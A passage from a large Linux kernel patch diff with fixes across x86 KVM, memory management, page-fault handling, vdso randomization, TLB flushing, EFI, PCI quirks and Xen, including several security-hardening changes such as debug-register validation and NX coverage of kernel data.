(do_request) + /* + * Once the masterclock is enabled, always perform request in + * order to update it. + * + * In order to enable masterclock, the host clocksource must be TSC + * and the vcpus need to have matched TSCs. When that happens, + * perform request to enable masterclock. + */ + if (ka->use_master_clock || + (gtod->clock.vclock_mode == VCLOCK_TSC && vcpus_matched)) kvm_make_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu); trace_kvm_track_tsc(vcpu->vcpu_id, ka->nr_vcpus_matched_tsc, @@ -1196,20 +1227,37 @@ void kvm_write_tsc(struct kvm_vcpu *vcpu, struct msr_data *msr) elapsed = ns - kvm->arch.last_tsc_nsec; if (vcpu->arch.virtual_tsc_khz) { + int faulted = 0; + /* n.b - signed multiplication and division required */ usdiff = data - kvm->arch.last_tsc_write; #ifdef CONFIG_X86_64 usdiff = (usdiff * 1000) / vcpu->arch.virtual_tsc_khz; #else /* do_div() only does unsigned */ - asm("idivl %2; xor %%edx, %%edx" - : "=A"(usdiff) - : "A"(usdiff * 1000), "rm"(vcpu->arch.virtual_tsc_khz)); + asm("1: idivl %[divisor]\n" + "2: xor %%edx, %%edx\n" + " movl $0, %[faulted]\n" + "3:\n" + ".section .fixup,\"ax\"\n" + "4: movl $1, %[faulted]\n" + " jmp 3b\n" + ".previous\n" + + _ASM_EXTABLE(1b, 4b) + + : "=A"(usdiff), [faulted] "=r" (faulted) + : "A"(usdiff * 1000), [divisor] "rm"(vcpu->arch.virtual_tsc_khz)); + #endif do_div(elapsed, 1000); usdiff -= elapsed; if (usdiff < 0) usdiff = -usdiff; + + /* idivl overflow => difference is larger than USEC_PER_SEC */ + if (faulted) + usdiff = USEC_PER_SEC; } else usdiff = USEC_PER_SEC; /* disable TSC match window below */ @@ -1893,6 +1941,8 @@ static void accumulate_steal_time(struct kvm_vcpu *vcpu) static void record_steal_time(struct kvm_vcpu *vcpu) { + accumulate_steal_time(vcpu); + if (!(vcpu->arch.st.msr_val & KVM_MSR_ENABLED)) return; @@ -2026,12 +2076,6 @@ int kvm_set_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info) if (!(data & KVM_MSR_ENABLED)) break; - vcpu->arch.st.last_steal = current->sched_info.run_delay; - - preempt_disable(); - accumulate_steal_time(vcpu); - preempt_enable(); - kvm_make_request(KVM_REQ_STEAL_UPDATE, vcpu); break; @@ -2710,7 +2754,6 @@ void kvm_arch_vcpu_load(struct kvm_vcpu *vcpu, int cpu) vcpu->cpu = cpu; } - accumulate_steal_time(vcpu); kvm_make_request(KVM_REQ_STEAL_UPDATE, vcpu); } @@ -2923,6 +2966,11 @@ static int kvm_vcpu_ioctl_x86_set_debugregs(struct kvm_vcpu *vcpu, if (dbgregs->flags) return -EINVAL; + if (dbgregs->dr6 & ~0xffffffffull) + return -EINVAL; + if (dbgregs->dr7 & ~0xffffffffull) + return -EINVAL; + memcpy(vcpu->arch.db, dbgregs->db, sizeof(vcpu->arch.db)); vcpu->arch.dr6 = dbgregs->dr6; vcpu->arch.dr7 = dbgregs->dr7; @@ -4787,7 +4835,7 @@ static int handle_emulation_failure(struct kvm_vcpu *vcpu) ++vcpu->stat.insn_emulation_fail; trace_kvm_emulate_insn_failed(vcpu); - if (!is_guest_mode(vcpu)) { + if (!is_guest_mode(vcpu) && kvm_x86_ops->get_cpl(vcpu) == 0) { vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR; vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION; vcpu->run->internal.ndata = 0; diff --git a/arch/x86/kvm/x86.h b/arch/x86/kvm/x86.h index 3186542f2fa3b..7626d3efa064f 100644 --- a/arch/x86/kvm/x86.h +++ b/arch/x86/kvm/x86.h @@ -78,15 +78,23 @@ static inline void vcpu_cache_mmio_info(struct kvm_vcpu *vcpu, vcpu->arch.mmio_gva = gva & PAGE_MASK; vcpu->arch.access = access; vcpu->arch.mmio_gfn = gfn; + vcpu->arch.mmio_gen = kvm_memslots(vcpu->kvm)->generation; +} + +static inline bool vcpu_match_mmio_gen(struct kvm_vcpu *vcpu) +{ + return vcpu->arch.mmio_gen == kvm_memslots(vcpu->kvm)->generation; } /* - * Clear the mmio cache info for the given gva, - * specially, if gva is ~0ul, we clear all mmio cache info. + * Clear the mmio cache info for the given gva. If gva is MMIO_GVA_ANY, we + * clear all mmio cache info. */ +#define MMIO_GVA_ANY (~(gva_t)0) + static inline void vcpu_clear_mmio_info(struct kvm_vcpu *vcpu, gva_t gva) { - if (gva != (~0ul) && vcpu->arch.mmio_gva != (gva & PAGE_MASK)) + if (gva != MMIO_GVA_ANY && vcpu->arch.mmio_gva != (gva & PAGE_MASK)) return; vcpu->arch.mmio_gva = 0; @@ -94,7 +102,8 @@ static inline void vcpu_clear_mmio_info(struct kvm_vcpu *vcpu, gva_t gva) static inline bool vcpu_match_mmio_gva(struct kvm_vcpu *vcpu, unsigned long gva) { - if (vcpu->arch.mmio_gva && vcpu->arch.mmio_gva == (gva & PAGE_MASK)) + if (vcpu_match_mmio_gen(vcpu) && vcpu->arch.mmio_gva && + vcpu->arch.mmio_gva == (gva & PAGE_MASK)) return true; return false; @@ -102,7 +111,8 @@ static inline bool vcpu_match_mmio_gva(struct kvm_vcpu *vcpu, unsigned long gva) static inline bool vcpu_match_mmio_gpa(struct kvm_vcpu *vcpu, gpa_t gpa) { - if (vcpu->arch.mmio_gfn && vcpu->arch.mmio_gfn == gpa >> PAGE_SHIFT) + if (vcpu_match_mmio_gen(vcpu) && vcpu->arch.mmio_gfn && + vcpu->arch.mmio_gfn == gpa >> PAGE_SHIFT) return true; return false; diff --git a/arch/x86/mm/dump_pagetables.c b/arch/x86/mm/dump_pagetables.c index 0002a3a33081c..e04e67753238e 100644 --- a/arch/x86/mm/dump_pagetables.c +++ b/arch/x86/mm/dump_pagetables.c @@ -30,11 +30,13 @@ struct pg_state { unsigned long start_address; unsigned long current_address; const struct addr_marker *marker; + unsigned long lines; }; struct addr_marker { unsigned long start_address; const char *name; + unsigned long max_lines; }; /* indices for address_markers; keep sync'd w/ address_markers below */ @@ -45,6 +47,7 @@ enum address_markers_idx { LOW_KERNEL_NR, VMALLOC_START_NR, VMEMMAP_START_NR, + ESPFIX_START_NR, HIGH_KERNEL_NR, MODULES_VADDR_NR, MODULES_END_NR, @@ -67,6 +70,7 @@ static struct addr_marker address_markers[] = { { PAGE_OFFSET, "Low Kernel Mapping" }, { VMALLOC_START, "vmalloc() Area" }, { VMEMMAP_START, "Vmemmap" }, + { ESPFIX_BASE_ADDR, "ESPfix Area", 16 }, { __START_KERNEL_map, "High Kernel Mapping" }, { MODULES_VADDR, "Modules" }, { MODULES_END, "End Modules" }, @@ -163,7 +167,7 @@ static void note_page(struct seq_file *m, struct pg_state *st, pgprot_t new_prot, int level) { pgprotval_t prot, cur; - static const char units[] = "KMGTPE"; + static const char units[] = "BKMGTPE"; /* * If we have a "break" in the series, we need to flush the state that @@ -178,6 +182,7 @@ static void note_page(struct seq_file *m, struct pg_state *st, st->current_prot = new_prot; st->level = level; st->marker = address_markers; + st->lines = 0; seq_printf(m, "---[ %s ]---\n", st->marker->name); } else if (prot != cur || level != st->level || st->current_address >= st->marker[1].start_address) { @@ -188,17 +193,21 @@ static void note_page(struct seq_file *m, struct pg_state *st, /* * Now print the actual finished series */ - seq_printf(m, "0x%0*lx-0x%0*lx ", - width, st->start_address, - width, st->current_address); - - delta = (st->current_address - st->start_address) >> 10; - while (!(delta & 1023) && unit[1]) { - delta >>= 10; - unit++; + if (!st->marker->max_lines || + st->lines < st->marker->max_lines) { + seq_printf(m, "0x%0*lx-0x%0*lx ", + width, st->start_address, + width, st->current_address); + + delta = (st->current_address - st->start_address); + while (!(delta & 1023) && unit[1]) { + delta >>= 10; + unit++; + } + seq_printf(m, "%9lu%c ", delta, *unit); + printk_prot(m, st->current_prot, st->level); } - seq_printf(m, "%9lu%c ", delta, *unit); - printk_prot(m, st->current_prot, st->level); + st->lines++; /* * We print markers for special areas of address space, @@ -206,7 +215,15 @@ static void note_page(struct seq_file *m, struct pg_state *st, * This helps in the interpretation. */ if (st->current_address >= st->marker[1].start_address) { + if (st->marker->max_lines && + st->lines > st->marker->max_lines) { + unsigned long nskip = + st->lines - st->marker->max_lines; + seq_printf(m, "... %lu entr%s skipped ... \n", + nskip, nskip == 1 ? "y" : "ies"); + } st->marker++; + st->lines = 0; seq_printf(m, "---[ %s ]---\n", st->marker->name); } diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c index 78dee3ef04d1f..e4780b0525310 100644 --- a/arch/x86/mm/fault.c +++ b/arch/x86/mm/fault.c @@ -812,11 +812,8 @@ do_sigbus(struct pt_regs *regs, unsigned long error_code, unsigned long address, unsigned int fault) { struct task_struct *tsk = current; - struct mm_struct *mm = tsk->mm; int code = BUS_ADRERR; - up_read(&mm->mmap_sem); - /* Kernel mode? Handle exceptions or die: */ if (!(error_code & PF_USER)) { no_context(regs, error_code, address, SIGBUS, BUS_ADRERR); @@ -842,35 +839,23 @@ do_sigbus(struct pt_regs *regs, unsigned long error_code, unsigned long address, force_sig_info_fault(SIGBUS, code, address, tsk, fault); } -static noinline int +static noinline void mm_fault_error(struct pt_regs *regs, unsigned long error_code, unsigned long address, unsigned int fault) { - /* - * Pagefault was interrupted by SIGKILL. We have no reason to - * continue pagefault. - */ - if (fatal_signal_pending(current)) { - if (!(fault & VM_FAULT_RETRY)) - up_read(¤t->mm->mmap_sem); - if (!(error_code & PF_USER)) - no_context(regs, error_code, address, 0, 0); - return 1; + if (fatal_signal_pending(current) && !(error_code & PF_USER)) { + no_context(regs, error_code, address, 0, 0); + return; } - if (!(fault & VM_FAULT_ERROR)) - return 0; if (fault & VM_FAULT_OOM) { /* Kernel mode? Handle exceptions or die: */ if (!(error_code & PF_USER)) { - up_read(¤t->mm->mmap_sem); no_context(regs, error_code, address, SIGSEGV, SEGV_MAPERR); - return 1; + return; } - up_read(¤t->mm->mmap_sem); - /* * We ran out of memory, call the OOM killer, and return the * userspace (which will retry the fault, or kill us if we got @@ -881,10 +866,11 @@ mm_fault_error(struct pt_regs *regs, unsigned long error_code, if (fault & (VM_FAULT_SIGBUS|VM_FAULT_HWPOISON| VM_FAULT_HWPOISON_LARGE)) do_sigbus(regs, error_code, address, fault); + else if (fault & VM_FAULT_SIGSEGV) + bad_area_nosemaphore(regs, error_code, address); else BUG(); } - return 1; } static int spurious_fault_check(unsigned long error_code, pte_t *pte) @@ -1193,9 +1179,18 @@ __do_page_fault(struct pt_regs *regs, unsigned long error_code) */ fault = handle_mm_fault(mm, vma, address, flags); - if (unlikely(fault & (VM_FAULT_RETRY|VM_FAULT_ERROR))) { - if (mm_fault_error(regs, error_code, address, fault)) - return; + /* + * If we need to retry but a fatal signal is pending, handle the + * signal first. We do not need to release the mmap_sem because it + * would already be released in __lock_page_or_retry in mm/filemap.c. + */ + if (unlikely((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))) + return; + + if (unlikely(fault & VM_FAULT_ERROR)) { + up_read(&mm->mmap_sem); + mm_fault_error(regs, error_code, address, fault); + return; } /* diff --git a/arch/x86/mm/init_32.c b/arch/x86/mm/init_32.c index 9fa46baada27e..983b6c74400ed 100644 --- a/arch/x86/mm/init_32.c +++ b/arch/x86/mm/init_32.c @@ -137,6 +137,7 @@ page_table_range_init_count(unsigned long start, unsigned long end) vaddr = start; pgd_idx = pgd_index(vaddr); + pmd_idx = pmd_index(vaddr); for ( ; (pgd_idx < PTRS_PER_PGD) && (vaddr != end); pgd_idx++) { for (; (pmd_idx < PTRS_PER_PMD) && (vaddr != end); diff --git a/arch/x86/mm/init_64.c b/arch/x86/mm/init_64.c index fbd8120e37296..a035686ad5213 100644 --- a/arch/x86/mm/init_64.c +++ b/arch/x86/mm/init_64.c @@ -1142,7 +1142,7 @@ void mark_rodata_ro(void) unsigned long end = (unsigned long) &__end_rodata_hpage_align; unsigned long text_end = PFN_ALIGN(&__stop___ex_table); unsigned long rodata_end = PFN_ALIGN(&__end_rodata); - unsigned long all_end = PFN_ALIGN(&_end); + unsigned long all_end; printk(KERN_INFO "Write protecting the kernel read-only data: %luk\n", (end - start) >> 10); @@ -1153,8 +1153,17 @@ void mark_rodata_ro(void) /* * The rodata/data/bss/brk section (but not the kernel text!) * should also be not-executable. + * + * We align all_end to PMD_SIZE because the existing mapping + * is a full PMD. If we would align _brk_end to PAGE_SIZE we + * split the PMD and the reminder between _brk_end and the end + * of the PMD will remain mapped executable. + * + * Any PMD which was setup after the one which covers _brk_end + * has been zapped already via cleanup_highmem(). */ - set_memory_nx(rodata_start, (all_end - rodata_start) >> PAGE_SHIFT); + all_end = roundup((unsigned long)_brk_end, PMD_SIZE); + set_memory_nx(text_end, (all_end - text_end) >> PAGE_SHIFT); rodata_test(); diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c index 65ba1a7d0c7c9..71333678db1f5 100644 --- a/arch/x86/mm/mmap.c +++ b/arch/x86/mm/mmap.c @@ -35,12 +35,12 @@ struct __read_mostly va_alignment va_align = { .flags = -1, }; -static unsigned int stack_maxrandom_size(void) +static unsigned long stack_maxrandom_size(void) { - unsigned int max = 0; + unsigned long max = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { - max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT; + max = ((-1UL) & STACK_RND_MASK) << PAGE_SHIFT; } return max; diff --git a/arch/x86/mm/pageattr.c b/arch/x86/mm/pageattr.c index bb32480c2d713..aabdf762f5921 100644 --- a/arch/x86/mm/pageattr.c +++ b/arch/x86/mm/pageattr.c @@ -389,7 +389,7 @@ phys_addr_t slow_virt_to_phys(void *__virt_addr) psize = page_level_size(level); pmask = page_level_mask(level); offset = virt_addr & ~pmask; - phys_addr = pte_pfn(*pte) << PAGE_SHIFT; + phys_addr = (phys_addr_t)pte_pfn(*pte) << PAGE_SHIFT; return (phys_addr | offset); } EXPORT_SYMBOL_GPL(slow_virt_to_phys); diff --git a/arch/x86/mm/tlb.c b/arch/x86/mm/tlb.c index 282375f13c7ed..c26b610a604dd 100644 --- a/arch/x86/mm/tlb.c +++ b/arch/x86/mm/tlb.c @@ -149,7 +149,9 @@ void flush_tlb_current_task(void) preempt_disable(); + /* This is an implicit full barrier that synchronizes with switch_mm. */ local_flush_tlb(); + if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) flush_tlb_others(mm_cpumask(mm), mm, 0UL, TLB_FLUSH_ALL); preempt_enable(); @@ -188,11 +190,19 @@ void flush_tlb_mm_range(struct mm_struct *mm, unsigned long start, unsigned act_entries, tlb_entries = 0; preempt_disable(); - if (current->active_mm != mm) + if (current->active_mm != mm) { + /* Synchronize with switch_mm. */ + smp_mb(); + goto flush_all; + } if (!current->mm) { leave_mm(smp_processor_id()); + + /* Synchronize with switch_mm. */ + smp_mb(); + goto flush_all; } @@ -242,10 +252,18 @@ void flush_tlb_page(struct vm_area_struct *vma, unsigned long start) preempt_disable(); if (current->active_mm == mm) { - if (current->mm) + if (current->mm) { + /* + * Implicit full barrier (INVLPG) that synchronizes + * with switch_mm. + */ __flush_tlb_one(start); - else + } else { leave_mm(smp_processor_id()); + + /* Synchronize with switch_mm. */ + smp_mb(); + } } if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) diff --git a/arch/x86/net/bpf_jit_comp.c b/arch/x86/net/bpf_jit_comp.c index 0c966fecfb8c9..5479d677f9bed 100644 --- a/arch/x86/net/bpf_jit_comp.c +++ b/arch/x86/net/bpf_jit_comp.c @@ -176,7 +176,12 @@ void bpf_jit_compile(struct sk_filter *fp) } cleanup_addr = proglen; /* epilogue address */ - for (pass = 0; pass < 10; pass++) { + /* JITed image shrinks with every pass and the loop iterates + * until the image stops shrinking. Very large bpf programs + * may converge on the last pass. In such case do one more + * pass to emit the final image + */ + for (pass = 0; pass < 10 || image; pass++) { u8 seen_or_pass0 = (pass == 0) ? (SEEN_XREG | SEEN_DATAREF | SEEN_MEM) : seen; /* no prologue/epilogue for trivial filters (RET something) */ proglen = 0; diff --git a/arch/x86/pci/acpi.c b/arch/x86/pci/acpi.c index 3e724256dbee6..a3b0265c2ca71 100644 --- a/arch/x86/pci/acpi.c +++ b/arch/x86/pci/acpi.c @@ -84,6 +84,17 @@ static const struct dmi_system_id pci_crs_quirks[] __initconst = { DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), }, }, + /* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 */ + /* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 */ + { + .callback = set_use_crs, + .ident = "Foxconn K8M890-8237A", + .matches = { + DMI_MATCH(DMI_BOARD_VENDOR, "Foxconn"), + DMI_MATCH(DMI_BOARD_NAME, "K8M890-8237A"), + DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), + }, + }, /* Now for the blacklist.. */ diff --git a/arch/x86/pci/common.c b/arch/x86/pci/common.c index 981c2dbd72cc4..88f143d9754ef 100644 --- a/arch/x86/pci/common.c +++ b/arch/x86/pci/common.c @@ -448,6 +448,22 @@ static const struct dmi_system_id pciprobe_dmi_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "ftServer"), }, }, + { + .callback = set_scan_all, + .ident = "Stratus/NEC ftServer", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "NEC"), + DMI_MATCH(DMI_PRODUCT_NAME, "Express5800/R32"), + }, + }, + { + .callback = set_scan_all, + .ident = "Stratus/NEC ftServer", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "NEC"), + DMI_MATCH(DMI_PRODUCT_NAME, "Express5800/R31"), + }, + }, {} }; diff --git a/arch/x86/pci/i386.c b/arch/x86/pci/i386.c index 94919e307f8e9..2883f08402016 100644 --- a/arch/x86/pci/i386.c +++ b/arch/x86/pci/i386.c @@ -162,6 +162,10 @@ pcibios_align_resource(void *data, const struct resource *res, return start; if (start & 0x300) start = (start + 0x3ff) & ~0x3ff; + } else if (res->flags & IORESOURCE_MEM) { + /* The low 1MB range is reserved for ISA cards */ + if (start < BIOS_END) + start = BIOS_END; } return start; } diff --git a/arch/x86/platform/efi/efi.c b/arch/x86/platform/efi/efi.c index d04fe4e97970b..abbd635592c34 100644 --- a/arch/x86/platform/efi/efi.c +++ b/arch/x86/platform/efi/efi.c @@ -242,12 +242,19 @@ static efi_status_t __init phys_efi_set_virtual_address_map( efi_memory_desc_t *virtual_map) { efi_status_t status; + unsigned long flags; efi_call_phys_prelog(); + + /* Disable interrupts around EFI calls: */ + local_irq_save(flags); status = efi_call_phys4(efi_phys.set_virtual_address_map, memory_map_size, descriptor_size, descriptor_version, virtual_map); + local_irq_restore(flags); + efi_call_phys_epilog(); + return status; } diff --git a/arch/x86/platform/efi/efi_32.c b/arch/x86/platform/efi/efi_32.c index 40e446941dd7e..bebbee05e331e 100644 --- a/arch/x86/platform/efi/efi_32.c +++ b/arch/x86/platform/efi/efi_32.c @@ -33,19 +33,16 @@ /* * To make EFI call EFI runtime service in physical addressing mode we need - * prelog/epilog before/after the invocation to disable interrupt, to - * claim EFI runtime service handler exclusively and to duplicate a memory in - * low memory space say 0 - 3G. + * prolog/epilog before/after the invocation to claim the EFI runtime service + * handler exclusively and to duplicate a memory mapping in low memory space, + * say 0 - 3G. */ -static unsigned long efi_rt_eflags; void efi_call_phys_prelog(void) { struct desc_ptr gdt_descr; - local_irq_save(efi_rt_eflags); - load_cr3(initial_page_table); __flush_tlb_all(); @@ -64,6 +61,4 @@ void efi_call_phys_epilog(void) load_cr3(swapper_pg_dir); __flush_tlb_all(); - - local_irq_restore(efi_rt_eflags); } diff --git a/arch/x86/platform/efi/efi_64.c b/arch/x86/platform/efi/efi_64.c index 39a0e7f1f0a3e..2f6c1a9734c8f 100644 --- a/arch/x86/platform/efi/efi_64.c +++ b/arch/x86/platform/efi/efi_64.c @@ -40,7 +40,6 @@ #include static pgd_t *save_pgd __initdata; -static unsigned long efi_flags __initdata; static void __init early_code_mapping_set_exec(int executable) { @@ -66,7 +65,6 @@ void __init efi_call_phys_prelog(void) int n_pgds; early_code_mapping_set_exec(1); - local_irq_save(efi_flags); n_pgds = DIV_ROUND_UP((max_pfn << PAGE_SHIFT), PGDIR_SIZE); save_pgd = kmalloc(n_pgds * sizeof(pgd_t), GFP_KERNEL); @@ -90,7 +88,6 @@ void __init efi_call_phys_epilog(void) set_pgd(pgd_offset_k(pgd * PGDIR_SIZE), save_pgd[pgd]); kfree(save_pgd); __flush_tlb_all(); - local_irq_restore(efi_flags); early_code_mapping_set_exec(0); } diff --git a/arch/x86/power/hibernate_32.c b/arch/x86/power/hibernate_32.c index 7d28c885d2385..291226b952a99 100644 --- a/arch/x86/power/hibernate_32.c +++ b/arch/x86/power/hibernate_32.c @@ -13,13 +13,11 @@ #include #include #include +#include /* Defined in hibernate_asm_32.S */ extern int restore_image(void); -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; - /* Pointer to the temporary resume page tables */ pgd_t *resume_pg_dir; diff --git a/arch/x86/power/hibernate_64.c b/arch/x86/power/hibernate_64.c index a0fde91c16cf7..8ecaed1276346 100644 --- a/arch/x86/power/hibernate_64.c +++ b/arch/x86/power/hibernate_64.c @@ -17,11 +17,9 @@ #include #include #include +#include #include -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; - /* Defined in hibernate_asm_64.S */ extern int restore_image(void); diff --git a/arch/x86/um/sys_call_table_32.c b/arch/x86/um/sys_call_table_32.c index 531d4269e2e3c..bd16d6c370ec9 100644 --- a/arch/x86/um/sys_call_table_32.c +++ b/arch/x86/um/sys_call_table_32.c @@ -34,7 +34,7 @@ typedef asmlinkage void (*sys_call_ptr_t)(void); extern asmlinkage void sys_ni_syscall(void); -const sys_call_ptr_t sys_call_table[] __cacheline_aligned = { +const sys_call_ptr_t sys_call_table[] ____cacheline_aligned = { /* * Smells like a compiler bug -- it doesn't work * when the & below is removed. diff --git a/arch/x86/um/sys_call_table_64.c b/arch/x86/um/sys_call_table_64.c index f2f0723070cae..95783087f0d34 100644 --- a/arch/x86/um/sys_call_table_64.c +++ b/arch/x86/um/sys_call_table_64.c @@ -46,7 +46,7 @@ typedef void (*sys_call_ptr_t)(void); extern void sys_ni_syscall(void); -const sys_call_ptr_t sys_call_table[] __cacheline_aligned = { +const sys_call_ptr_t sys_call_table[] ____cacheline_aligned = { /* * Smells like a compiler bug -- it doesn't work * when the & below is removed. diff --git a/arch/x86/vdso/vdso32-setup.c b/arch/x86/vdso/vdso32-setup.c index 0f134c7cfc246..0faad646f5fda 100644 --- a/arch/x86/vdso/vdso32-setup.c +++ b/arch/x86/vdso/vdso32-setup.c @@ -41,7 +41,6 @@ enum { #ifdef CONFIG_X86_64 #define vdso_enabled sysctl_vsyscall32 #define arch_setup_additional_pages syscall32_setup_pages -extern int sysctl_ldt16; #endif /* @@ -381,13 +380,6 @@ static ctl_table abi_table2[] = { .mode = 0644, .proc_handler = proc_dointvec }, - { - .procname = "ldt16", - .data = &sysctl_ldt16, - .maxlen = sizeof(int), - .mode = 0644, - .proc_handler = proc_dointvec - }, {} }; diff --git a/arch/x86/vdso/vdso32/sigreturn.S b/arch/x86/vdso/vdso32/sigreturn.S index 31776d0efc8c4..d7ec4e251c0a2 100644 --- a/arch/x86/vdso/vdso32/sigreturn.S +++ b/arch/x86/vdso/vdso32/sigreturn.S @@ -17,6 +17,7 @@ .text .globl __kernel_sigreturn .type __kernel_sigreturn,@function + nop /* this guy is needed for .LSTARTFDEDLSI1 below (watch for HACK) */ ALIGN __kernel_sigreturn: .LSTART_sigreturn: diff --git a/arch/x86/vdso/vma.c b/arch/x86/vdso/vma.c index 431e875444112..ab6ba35a9357a 100644 --- a/arch/x86/vdso/vma.c +++ b/arch/x86/vdso/vma.c @@ -117,30 +117,45 @@ subsys_initcall(init_vdso); struct linux_binprm; -/* Put the vdso above the (randomized) stack with another randomized offset. - This way there is no hole in the middle of address space. - To save memory make sure it is still in the same PTE as the stack top. - This doesn't give that many random bits */ +/* + * Put the vdso above the (randomized) stack with another randomized + * offset. This way there is no hole in the middle of address space. + * To save memory make sure it is still in the same PTE as the stack + * top. This doesn't give that many random bits. + * + * Note that this algorithm is imperfect: the distribution of the vdso + * start address within a PMD is biased toward the end. + * + * Only used for the 64-bit and x32 vdsos. + */ static unsigned long vdso_addr(unsigned long start, unsigned len) { unsigned long addr, end; unsigned offset; - end = (start + PMD_SIZE - 1) & PMD_MASK; + + /* + * Round up the start address. It can start out unaligned as a result + * of stack start randomization. + */ + start = PAGE_ALIGN(start); + + /* Round the lowest possible end address up to a PMD boundary. */ + end = (start + len + PMD_SIZE - 1) & PMD_MASK; if (end >= TASK_SIZE_MAX) end = TASK_SIZE_MAX; end -= len; - /* This loses some more bits than a modulo, but is cheaper */ - offset = get_random_int() & (PTRS_PER_PTE - 1); - addr = start + (offset << PAGE_SHIFT); - if (addr >= end) - addr = end; + + if (end > start) { + offset = get_random_int() % (((end - start) >> PAGE_SHIFT) + 1); + addr = start + (offset << PAGE_SHIFT); + } else { + addr = start; + } /* - * page-align it here so that get_unmapped_area doesn't - * align it wrongfully again to the next page. addr can come in 4K - * unaligned here as a result of stack start randomization. + * Forcibly align the final address in case we have a hardware + * issue that requires alignment for performance reasons. */ - addr = PAGE_ALIGN(addr); addr = align_vdso_addr(addr); return addr; diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c index a492be2635ac0..34511cf6baad6 100644 --- a/arch/x86/xen/enlighten.c +++ b/arch/x86/xen/enlighten.c @@ -33,6 +33,10 @@ #include #include +#ifdef CONFIG_KEXEC +#include +#endif + #include #include #include @@ -481,6 +485,7 @@ static void set_aliased_prot(void *v, pgprot_t prot) pte_t pte; unsigned long pfn; struct page *page; + unsigned char dummy; ptep = lookup_address((unsigned long)v, &level); BUG_ON(ptep == NULL); @@ -490,6 +495,32 @@ static void set_aliased_prot(void *v, pgprot_t prot) pte = pfn_pte(pfn, prot); + /* + * Careful: update_va_mapping() will fail if the virtual address + * we're poking isn't populated in the page tables. We don't + * need to worry about the direct map (that's always in the page + * tables), but we need to be careful about vmap space. In + * particular, the top level page table can lazily propagate + * entries between processes, so if we've switched mms since we + * vmapped the target in the first place, we might not have the + * top-level page table entry populated. + * + * We disable preemption because we want the same mm active when + * we probe the target and when we issue the hypercall. We'll + * have the same nominal mm, but if we're a kernel thread, lazy + * mm dropping could change our pgd. + * + * Out of an abundance of caution, this uses __get_user() to fault + * in the target address just in case there's some obscure case + * in which the target address isn't readable. + */ + + preempt_disable(); + + pagefault_disable(); /* Avoid warnings due to being atomic. */ + __get_user(dummy, (unsigned char __user __force *)v); + pagefault_enable(); + if (HYPERVISOR_update_va_mapping((unsigned long)v, pte, 0)) BUG(); @@ -501,6 +532,8 @@ static void set_aliased_prot(void *v, pgprot_t prot) BUG(); } else kmap_flush_unused(); + + preempt_enable(); } static void xen_alloc_ldt(struct desc_struct *ldt, unsigned entries) @@ -508,6 +541,17 @@ static void xen_alloc_ldt(struct desc_struct *ldt, unsigned entries) const unsigned entries_per_page = PAGE_SIZE / LDT_ENTRY_SIZE; int i; + /* + * We need to mark the all aliases of the LDT pages RO. We + * don't need to call vm_flush_aliases(), though, since that's + * only responsible for flushing aliases out the TLBs, not the + * page tables, and Xen will flush the TLB for us if needed. + * + * To avoid confusing future readers: none of this is necessary + * to load the LDT. The hypervisor only checks this when the + * LDT is faulted in due to subsequent descriptor access. + */ + for(i = 0; i < entries; i += entries_per_page) set_aliased_prot(ldt + i, PAGE_KERNEL_RO); } @@ -908,7 +952,7 @@ static void xen_load_sp0(struct tss_struct *tss, xen_mc_issue(PARAVIRT_LAZY_CPU); } -static void xen_set_iopl_mask(unsigned mask) +void xen_set_iopl_mask(unsigned mask) { struct physdev_set_iopl set_iopl; @@ -1704,6 +1748,21 @@ static struct notifier_block xen_hvm_cpu_notifier __cpuinitdata = { .notifier_call = xen_hvm_cpu_notify, }; +#ifdef CONFIG_KEXEC +static void xen_hvm_shutdown(void) +{ + native_machine_shutdown(); + if (kexec_in_progress) + xen_reboot(SHUTDOWN_soft_reset); +} + +static void xen_hvm_crash_shutdown(struct pt_regs *regs) +{ + native_machine_crash_shutdown(regs); + xen_reboot(SHUTDOWN_soft_reset); +} +#endif + static void __init xen_hvm_guest_init(void) { init_hvm_pv_info(); @@ -1718,6 +1777,10 @@ static void __init xen_hvm_guest_init(void) x86_init.irqs.intr_init = xen_init_IRQ; xen_hvm_init_time_ops(); xen_hvm_init_mmu_ops(); +#ifdef CONFIG_KEXEC + machine_ops.shutdown = xen_hvm_shutdown; + machine_ops.crash_shutdown = xen_hvm_crash_shutdown; +#endif } static bool __init xen_hvm_platform(void) diff --git a/arch/x86/xen/suspend.c b/arch/x86/xen/suspend.c index 45329c8c226e4..39e12c10b9313 100644 --- a/arch/x86/xen/suspend.c +++ b/arch/x86/xen/suspend.c @@ -30,7 +30,8 @@ void xen_arch_hvm_post_suspend(int suspend_cancelled) { #ifdef CONFIG_XEN_PVHVM int cpu; - xen_hvm_init_shared_info(); + if (!suspend_cancelled) + xen_hvm_init_shared_info(); xen_callback_vector(); xen_unplug_emulated_devices(); if (xen_feature(XENFEAT_hvm_safe_pvclock)) { diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig index 2dae932a91994..a9fdbf673acd6 100644 --- a/arch/xtensa/Kconfig +++ b/arch/xtensa/Kconfig @@ -286,6 +286,36 @@ menu "Executable file formats" source "fs/Kconfig.binfmt" +config XTFPGA_LCD + bool "Enable XTFPGA LCD driver" + depends on XTENSA_PLATFORM_XTFPGA + default n + help + There's a 2x16 LCD on most of XTFPGA 